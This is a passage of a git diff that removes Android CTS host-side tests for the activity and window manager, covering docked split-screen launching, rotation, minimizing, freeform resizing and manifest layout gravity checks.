-        int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        mAmWmState.assertNotNull("Launched to side activity must be in fullscreen stack.",
-                mAmWmState.getAmState()
-                        .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
-
-        // Try to launch to side same activity again.
-        getLaunchActivityBuilder().setToSide(true).execute();
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        mAmWmState.assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
-        mAmWmState.assertFocusedActivity("Launched to side activity must remain in front.",
-                TEST_ACTIVITY_NAME);
-        mAmWmState.assertNotNull("Launched to side activity must remain in fullscreen stack.",
-                mAmWmState.getAmState()
-                        .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
-    }
-
-    public void testLaunchToSideSingleInstance() throws Exception {
-        launchTargetToSide(SINGLE_INSTANCE_ACTIVITY_NAME, false);
-    }
-
-    public void testLaunchToSideSingleTask() throws Exception {
-        launchTargetToSide(SINGLE_TASK_ACTIVITY_NAME, false);
-    }
-
-    public void testLaunchToSideMultipleWithDifferentIntent() throws Exception {
-        launchTargetToSide(TEST_ACTIVITY_NAME, true);
-    }
-
-    private void launchTargetToSide(String targetActivityName,
-                                    boolean taskCountMustIncrement) throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
-        final String[] waitForActivitiesVisible =
-            new String[] {targetActivityName, LAUNCHING_ACTIVITY};
-
-        // Launch activity to side with data.
-        launchActivityToSide(true, false, targetActivityName);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        mAmWmState.assertContainsStack(
-                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
-        int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        mAmWmState.assertNotNull("Launched to side activity must be in fullscreen stack.",
-                mAmWmState.getAmState()
-                        .getTaskByActivityName(targetActivityName, FULLSCREEN_WORKSPACE_STACK_ID));
-
-        // Try to launch to side same activity again with different data.
-        launchActivityToSide(true, false, targetActivityName);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        int taskNumberSecondLaunch = mAmWmState.getAmState()
-                .getStackById(FULLSCREEN_WORKSPACE_STACK_ID).getTasks().size();
-        if (taskCountMustIncrement) {
-            mAmWmState.assertEquals("Task number must be incremented.", taskNumberInitial + 1,
-                    taskNumberSecondLaunch);
-        } else {
-            mAmWmState.assertEquals("Task number must not change.", taskNumberInitial,
-                    taskNumberSecondLaunch);
-        }
-        mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                targetActivityName);
-        mAmWmState.assertNotNull("Launched to side activity must be launched in fullscreen stack.",
-                mAmWmState.getAmState()
-                        .getTaskByActivityName(targetActivityName, FULLSCREEN_WORKSPACE_STACK_ID));
-
-        // Try to launch to side same activity again with no data.
-        launchActivityToSide(false, false, targetActivityName);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        if (taskCountMustIncrement) {
-            mAmWmState.assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
-                    taskNumberFinal);
-        } else {
-            mAmWmState.assertEquals("Task number must not change.", taskNumberSecondLaunch,
-                    taskNumberFinal);
-        }
-        mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                targetActivityName);
-        mAmWmState.assertNotNull("Launched to side activity must be launched in fullscreen stack.",
-                mAmWmState.getAmState()
-                        .getTaskByActivityName(targetActivityName, FULLSCREEN_WORKSPACE_STACK_ID));
-    }
-
-    public void testLaunchToSideMultipleWithFlag() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-        final String[] waitForActivitiesVisible =
-            new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
-
-        // Launch activity to side.
-        getLaunchActivityBuilder().setToSide(true).execute();
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        mAmWmState.assertNotNull("Launched to side activity must be in fullscreen stack.",
-                mAmWmState.getAmState()
-                        .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
-
-        // Try to launch to side same activity again, but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
-        getLaunchActivityBuilder().setToSide(true).setMultipleTask(true).execute();
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
-                .getTasks().size();
-        mAmWmState.assertEquals("Task number must be incremented.", taskNumberInitial + 1,
-                taskNumberFinal);
-        mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
-                TEST_ACTIVITY_NAME);
-        mAmWmState.assertNotNull("Launched to side activity must remain in fullscreen stack.",
-                mAmWmState.getAmState()
-                        .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
-    }
-
-    public void testRotationWhenDocked() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-        getLaunchActivityBuilder().setToSide(true).execute();
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        mAmWmState.assertContainsStack(
-                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-
-        // Rotate device single steps (90°) 0-1-2-3.
-        // Each time we compute the state we implicitly assert valid bounds.
-        String[] waitForActivitiesVisible =
-            new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
-        for (int i = 0; i < 4; i++) {
-            setDeviceRotation(i);
-            mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        }
-        // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for double
-        // step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side.
-        setDeviceRotation(1);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        setDeviceRotation(3);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        setDeviceRotation(0);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        setDeviceRotation(2);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        setDeviceRotation(0);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-    }
-
-    public void testRotationWhenDockedWhileLocked() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(LAUNCHING_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-        getLaunchActivityBuilder().setToSide(true).execute();
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        mAmWmState.assertSanity();
-        mAmWmState.assertContainsStack(
-                "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-
-        String[] waitForActivitiesVisible =
-            new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
-        for (int i = 0; i < 4; i++) {
-            sleepDevice();
-            setDeviceRotation(i);
-            wakeUpAndUnlockDevice();
-            mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        }
-    }
-
-    public void testRotationWhileDockMinimized() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME);
-        assertDockMinimized();
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-        mAmWmState.assertFocusedStack("Home activity should be focused in minimized mode",
-                HOME_STACK_ID);
-
-        // Rotate device single steps (90°) 0-1-2-3.
-        // Each time we compute the state we implicitly assert valid bounds in minimized mode.
-        String[] waitForActivitiesVisible = new String[] {TEST_ACTIVITY_NAME};
-        for (int i = 0; i < 4; i++) {
-            setDeviceRotation(i);
-            mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        }
-
-        // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for double
-        // step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side in minimized
-        // mode.
-        setDeviceRotation(1);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        setDeviceRotation(3);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        setDeviceRotation(0);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        setDeviceRotation(2);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-        setDeviceRotation(0);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-    }
-
-    public void testMinimizeAndUnminimizeThenGoingHome() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        // Rotate the screen to check that minimize, unminimize, dismiss the docked stack and then
-        // going home has the correct app transition
-        for (int i = 0; i < 4; i++) {
-            setDeviceRotation(i);
-            launchActivityInDockStackAndMinimize(DOCKED_ACTIVITY_NAME);
-            assertDockMinimized();
-
-            // Unminimize the docked stack
-            pressAppSwitchButton();
-            waitForDockNotMinimized();
-            assertDockNotMinimized();
-
-            // Dismiss the dock stack
-            launchActivityInStack(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-            moveActivityToStack(DOCKED_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-            mAmWmState.computeState(mDevice, new String[]{DOCKED_ACTIVITY_NAME});
-
-            // Go home and check the app transition
-            assertNotSame(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
-            pressHomeButton();
-            mAmWmState.computeState(mDevice, null);
-            assertEquals(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
-        }
-    }
-
-    public void testFinishDockActivityWhileMinimized() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStackAndMinimize(FINISHABLE_ACTIVITY_NAME);
-        assertDockMinimized();
-
-        runCommandAndPrintOutput("am broadcast -a 'android.server.cts.FinishableActivity.finish'");
-        waitForDockNotMinimized();
-        mAmWmState.assertVisibility(FINISHABLE_ACTIVITY_NAME, false);
-        assertDockNotMinimized();
-    }
-
-    public void testDockedStackToMinimizeWhenUnlocked() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(TEST_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        sleepDevice();
-        wakeUpAndUnlockDevice();
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        assertDockMinimized();
-    }
-
-    public void testMinimizedStateWhenUnlockedAndUnMinimized() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStackAndMinimize(FINISHABLE_ACTIVITY_NAME);
-        assertDockMinimized();
-
-        sleepDevice();
-        wakeUpAndUnlockDevice();
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-
-        // Unminimized back to splitscreen
-        pressAppSwitchButton();
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-    }
-
-    public void testResizeDockedStack() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[] {DOCKED_ACTIVITY_NAME});
-        launchActivityInStack(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-        resizeDockedStack(STACK_SIZE, STACK_SIZE, TASK_SIZE, TASK_SIZE);
-        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME, DOCKED_ACTIVITY_NAME},
-                false /* compareTaskAndStackBounds */);
-        mAmWmState.assertContainsStack("Must contain docked stack", DOCKED_STACK_ID);
-        mAmWmState.assertContainsStack("Must contain fullscreen stack",
-                FULLSCREEN_WORKSPACE_STACK_ID);
-        assertEquals(new Rectangle(0, 0, STACK_SIZE, STACK_SIZE),
-                mAmWmState.getAmState().getStackById(DOCKED_STACK_ID).getBounds());
-        mAmWmState.assertDockedTaskBounds(TASK_SIZE, TASK_SIZE, DOCKED_ACTIVITY_NAME);
-        mAmWmState.assertVisibility(DOCKED_ACTIVITY_NAME, true);
-        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
-    }
-
-    public void testActivityLifeCycleOnResizeDockedStack() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        final String[] waitTestActivityName = new String[] {TEST_ACTIVITY_NAME};
-        launchActivity(TEST_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, waitTestActivityName);
-        final Rectangle fullScreenBounds =
-                mAmWmState.getWmState().getStack(FULLSCREEN_WORKSPACE_STACK_ID).getBounds();
-
-        moveActivityToDockStack(TEST_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, waitTestActivityName);
-        launchActivityInStack(NO_RELAUNCH_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-
-        mAmWmState.computeState(mDevice,
-                new String[]{TEST_ACTIVITY_NAME, NO_RELAUNCH_ACTIVITY_NAME});
-        final Rectangle initialDockBounds =
-                mAmWmState.getWmState().getStack(DOCKED_STACK_ID).getBounds();
-
-        final String logSeparator = clearLogcat();
-
-        Rectangle newBounds = computeNewDockBounds(fullScreenBounds, initialDockBounds, true);
-        resizeDockedStack(newBounds.width, newBounds.height, newBounds.width, newBounds.height);
-        mAmWmState.computeState(mDevice,
-                new String[]{TEST_ACTIVITY_NAME, NO_RELAUNCH_ACTIVITY_NAME});
-
-        // We resize twice to make sure we cross an orientation change threshold for both
-        // activities.
-        newBounds = computeNewDockBounds(fullScreenBounds, initialDockBounds, false);
-        resizeDockedStack(newBounds.width, newBounds.height, newBounds.width, newBounds.height);
-        mAmWmState.computeState(mDevice,
-                new String[]{TEST_ACTIVITY_NAME, NO_RELAUNCH_ACTIVITY_NAME});
-        assertActivityLifecycle(TEST_ACTIVITY_NAME, true /* relaunched */, logSeparator);
-        assertActivityLifecycle(NO_RELAUNCH_ACTIVITY_NAME, false /* relaunched */, logSeparator);
-    }
-
-    private Rectangle computeNewDockBounds(
-            Rectangle fullscreenBounds, Rectangle dockBounds, boolean reduceSize) {
-        final boolean inLandscape = fullscreenBounds.width > dockBounds.width;
-        // We are either increasing size or reducing it.
-        final float sizeChangeFactor = reduceSize ? 0.5f : 1.5f;
-        final Rectangle newBounds = new Rectangle(dockBounds);
-        if (inLandscape) {
-            // In landscape we change the width.
-            newBounds.width *= sizeChangeFactor;
-        } else {
-            // In portrait we change the height
-            newBounds.height *= sizeChangeFactor;
-        }
-
-        return newBounds;
-    }
-
-    public void testStackListOrderLaunchDockedActivity() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-
-        launchActivityInDockStack(TEST_ACTIVITY_NAME);
-        mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY_NAME});
-
-        final int homeStackIndex = mAmWmState.getStackPosition(HOME_STACK_ID);
-        final int recentsStackIndex = mAmWmState.getStackPosition(RECENTS_STACK_ID);
-        assertTrue("Recents stack should be on top of home stack",
-                recentsStackIndex < homeStackIndex);
-    }
-
-    private void launchActivityInDockStackAndMinimize(String activityName) throws Exception {
-        launchActivityInDockStack(activityName);
-        pressHomeButton();
-        waitForDockMinimized();
-    }
-
-    private void assertDockMinimized() {
-        assertTrue(mAmWmState.getWmState().isDockedStackMinimized());
-    }
-
-    private void assertDockNotMinimized() {
-        assertFalse(mAmWmState.getWmState().isDockedStackMinimized());
-    }
-
-    private void waitForDockMinimized() throws Exception {
-        mAmWmState.waitForWithWmState(mDevice, state -> state.isDockedStackMinimized(),
-                "***Waiting for Dock stack to be minimized");
-    }
-
-    private void waitForDockNotMinimized() throws Exception {
-        mAmWmState.waitForWithWmState(mDevice, state -> !state.isDockedStackMinimized(),
-                "***Waiting for Dock stack to not be minimized");
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerFreeformStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerFreeformStackTests.java
deleted file mode 100644
index a1d76c8..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerFreeformStackTests.java
+++ /dev/null
@@ -1,126 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.server.cts.ActivityManagerState.ActivityStack;
-import android.server.cts.ActivityManagerState.ActivityTask;
-
-import java.awt.Rectangle;
-import java.util.ArrayList;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerFreeformStackTests
- */
-public class ActivityManagerFreeformStackTests extends ActivityManagerTestBase {
-
-    private static final String TEST_ACTIVITY = "TestActivity";
-    private static final int TEST_TASK_OFFSET = 20;
-    private static final int TEST_TASK_OFFSET_2 = 100;
-    private static final int TEST_TASK_SIZE_1 = 900;
-    private static final int TEST_TASK_SIZE_2 = TEST_TASK_SIZE_1 * 2;
-    private static final int TEST_TASK_SIZE_DP_1 = 220;
-    private static final int TEST_TASK_SIZE_DP_2 = TEST_TASK_SIZE_DP_1 * 2;
-
-    // NOTE: Launching the FreeformActivity will automatically launch the TestActivity
-    // with bounds (0, 0, 900, 900)
-    private static final String FREEFORM_ACTIVITY = "FreeformActivity";
-    private static final String NON_RESIZEABLE_ACTIVITY = "NonResizeableActivity";
-    private static final String NO_RELAUNCH_ACTIVITY = "NoRelaunchActivity";
-
-    public void testFreeformWindowManagementSupport() throws Exception {
-
-        launchActivityInStack(FREEFORM_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
-
-        mAmWmState.computeState(mDevice, new String[] {FREEFORM_ACTIVITY, TEST_ACTIVITY});
-
-        if (!supportsFreeform()) {
-            mAmWmState.assertDoesNotContainStack(
-                    "Must not contain freeform stack.", FREEFORM_WORKSPACE_STACK_ID);
-            return;
-        }
-
-        mAmWmState.assertFrontStack(
-                "Freeform stack must be the front stack.", FREEFORM_WORKSPACE_STACK_ID);
-        mAmWmState.assertVisibility(FREEFORM_ACTIVITY, true);
-        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
-        mAmWmState.assertFocusedActivity(
-                TEST_ACTIVITY + " must be focused Activity", TEST_ACTIVITY);
-        assertEquals(new Rectangle(0, 0, TEST_TASK_SIZE_1, TEST_TASK_SIZE_1),
-                mAmWmState.getAmState().getTaskByActivityName(TEST_ACTIVITY).getBounds());
-    }
-
-    public void testNonResizeableActivityHasFullDisplayBounds() throws Exception {
-        launchActivityInStack(NON_RESIZEABLE_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
-
-        mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY});
-
-        final ActivityTask task =
-                mAmWmState.getAmState().getTaskByActivityName(NON_RESIZEABLE_ACTIVITY);
-        final ActivityStack stack = mAmWmState.getAmState().getStackById(task.mStackId);
-
-        if (task.isFullscreen()) {
-            // If the task is on the fullscreen stack, then we know that it will have bounds that
-            // fill the entire display.
-            return;
-        }
-
-        // If the task is not on the fullscreen stack, then compare the task bounds to the display
-        // bounds.
-        assertEquals(mAmWmState.getWmState().getDisplay(stack.mDisplayId).getDisplayRect(),
-                task.getBounds());
-    }
-
-    public void testActivityLifeCycleOnResizeFreeformTask() throws Exception {
-        launchActivityInStack(TEST_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
-        launchActivityInStack(NO_RELAUNCH_ACTIVITY, FREEFORM_WORKSPACE_STACK_ID);
-
-        mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY, NO_RELAUNCH_ACTIVITY});
-
-        if (!supportsFreeform()) {
-            mAmWmState.assertDoesNotContainStack(
-                    "Must not contain freeform stack.", FREEFORM_WORKSPACE_STACK_ID);
-            return;
-        }
-
-        final int displayId = mAmWmState.getAmState().getStackById(
-                ActivityManagerTestBase.FREEFORM_WORKSPACE_STACK_ID).mDisplayId;
-        final int densityDpi =
-                mAmWmState.getWmState().getDisplay(displayId).getDpi();
-        final int testTaskSize1 =
-                ActivityAndWindowManagersState.dpToPx(TEST_TASK_SIZE_DP_1, densityDpi);
-        final int testTaskSize2 =
-                ActivityAndWindowManagersState.dpToPx(TEST_TASK_SIZE_DP_2, densityDpi);
-
-        resizeActivityTask(TEST_ACTIVITY,
-                TEST_TASK_OFFSET, TEST_TASK_OFFSET, testTaskSize1, testTaskSize2);
-        resizeActivityTask(NO_RELAUNCH_ACTIVITY,
-                TEST_TASK_OFFSET_2, TEST_TASK_OFFSET_2, testTaskSize1, testTaskSize2);
-
-        mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY, NO_RELAUNCH_ACTIVITY});
-
-        final String logSeparator = clearLogcat();
-        resizeActivityTask(TEST_ACTIVITY,
-                TEST_TASK_OFFSET, TEST_TASK_OFFSET, testTaskSize2, testTaskSize1);
-        resizeActivityTask(NO_RELAUNCH_ACTIVITY,
-                TEST_TASK_OFFSET_2, TEST_TASK_OFFSET_2, testTaskSize2, testTaskSize1);
-        mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY, NO_RELAUNCH_ACTIVITY});
-
-        assertActivityLifecycle(TEST_ACTIVITY, true /* relaunched */, logSeparator);
-        assertActivityLifecycle(NO_RELAUNCH_ACTIVITY, false /* relaunched */, logSeparator);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java
deleted file mode 100644
index e6df4b2..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerManifestLayoutTests.java
+++ /dev/null
@@ -1,192 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import java.lang.Exception;
-import java.lang.String;
-import java.util.ArrayList;
-import java.util.List;
-
-import junit.framework.Assert;
-
-import java.awt.Rectangle;
-import android.server.cts.WindowManagerState.WindowState;
-import android.server.cts.WindowManagerState.Display;
-
-import static android.server.cts.ActivityAndWindowManagersState.dpToPx;
-import static com.android.ddmlib.Log.LogLevel.INFO;
-
-import com.android.tradefed.log.LogUtil.CLog;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerManifestLayoutTests
- */
-public class ActivityManagerManifestLayoutTests extends ActivityManagerTestBase {
-
-    // Test parameters
-    private static final int DEFAULT_WIDTH_DP = 240;
-    private static final int DEFAULT_HEIGHT_DP = 160;
-    private static final float DEFAULT_WIDTH_FRACTION = 0.25f;
-    private static final float DEFAULT_HEIGHT_FRACTION = 0.35f;
-    private static final int MIN_WIDTH_DP = 100;
-    private static final int MIN_HEIGHT_DP = 80;
-
-    private static final int GRAVITY_VER_CENTER = 0x01;
-    private static final int GRAVITY_VER_TOP    = 0x02;
-    private static final int GRAVITY_VER_BOTTOM = 0x04;
-    private static final int GRAVITY_HOR_CENTER = 0x10;
-    private static final int GRAVITY_HOR_LEFT   = 0x20;
-    private static final int GRAVITY_HOR_RIGHT  = 0x40;
-
-    private List<WindowState> mTempWindowList = new ArrayList();
-    private Display mDisplay;
-    private WindowState mWindowState;
-
-    public void testGravityAndDefaultSizeTopLeft() throws Exception {
-        testLayout(GRAVITY_VER_TOP, GRAVITY_HOR_LEFT, false /*fraction*/);
-    }
-
-    public void testGravityAndDefaultSizeTopRight() throws Exception {
-        testLayout(GRAVITY_VER_TOP, GRAVITY_HOR_RIGHT, true /*fraction*/);
-    }
-
-    public void testGravityAndDefaultSizeBottomLeft() throws Exception {
-        testLayout(GRAVITY_VER_BOTTOM, GRAVITY_HOR_LEFT, true /*fraction*/);
-    }
-
-    public void testGravityAndDefaultSizeBottomRight() throws Exception {
-        testLayout(GRAVITY_VER_BOTTOM, GRAVITY_HOR_RIGHT, false /*fraction*/);
-    }
-
-    public void testMinimalSizeFreeform() throws Exception {
-        if (!supportsFreeform()) {
-            CLog.logAndDisplay(INFO, "Skipping test: no freeform support");
-            return;
-        }
-        testMinimalSize(FREEFORM_WORKSPACE_STACK_ID);
-    }
-
-    public void testMinimalSizeDocked() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
-            return;
-        }
-        testMinimalSize(DOCKED_STACK_ID);
-    }
-
-    private void testMinimalSize(int stackId) throws Exception {
-        final String activityName = "BottomRightLayoutActivity";
-
-        // Issue command to resize to <0,0,1,1>. We expect the size to be floored at
-        // MIN_WIDTH_DPxMIN_HEIGHT_DP.
-        if (stackId == FREEFORM_WORKSPACE_STACK_ID) {
-            launchActivityInStack(activityName, stackId);
-            resizeActivityTask(activityName, 0, 0, 1, 1);
-        } else { // stackId == DOCKED_STACK_ID
-            launchActivityInDockStack(activityName);
-            resizeDockedStack(1, 1, 1, 1);
-        }
-        getDisplayAndWindowState(activityName, false);
-
-        final int minWidth = dpToPx(MIN_WIDTH_DP, mDisplay.getDpi());
-        final int minHeight = dpToPx(MIN_HEIGHT_DP, mDisplay.getDpi());
-        final Rectangle containingRect = mWindowState.getContainingFrame();
-
-        Assert.assertEquals("Min width is incorrect", minWidth, containingRect.width);
-        Assert.assertEquals("Min height is incorrect", minHeight, containingRect.height);
-    }
-
-    private void testLayout(
-            int vGravity, int hGravity, boolean fraction) throws Exception {
-        if (!supportsFreeform()) {
-            CLog.logAndDisplay(INFO, "Skipping test: no freeform support");
-            return;
-        }
-
-        final String activityName = (vGravity == GRAVITY_VER_TOP ? "Top" : "Bottom")
-                + (hGravity == GRAVITY_HOR_LEFT ? "Left" : "Right") + "LayoutActivity";
-
-        // Launch in freeform stack
-        launchActivityInStack(activityName, FREEFORM_WORKSPACE_STACK_ID);
-
-        getDisplayAndWindowState(activityName, true);
-
-        final Rectangle containingRect = mWindowState.getContainingFrame();
-        final Rectangle appRect = mDisplay.getAppRect();
-        final int expectedWidthPx, expectedHeightPx;
-        // Evaluate the expected window size in px. If we're using fraction dimensions,
-        // calculate the size based on the app rect size. Otherwise, convert the expected
-        // size in dp to px.
-        if (fraction) {
-            expectedWidthPx = (int) (appRect.width * DEFAULT_WIDTH_FRACTION);
-            expectedHeightPx = (int) (appRect.height * DEFAULT_HEIGHT_FRACTION);
-        } else {
-            final int densityDpi = mDisplay.getDpi();
-            expectedWidthPx = dpToPx(DEFAULT_WIDTH_DP, densityDpi);
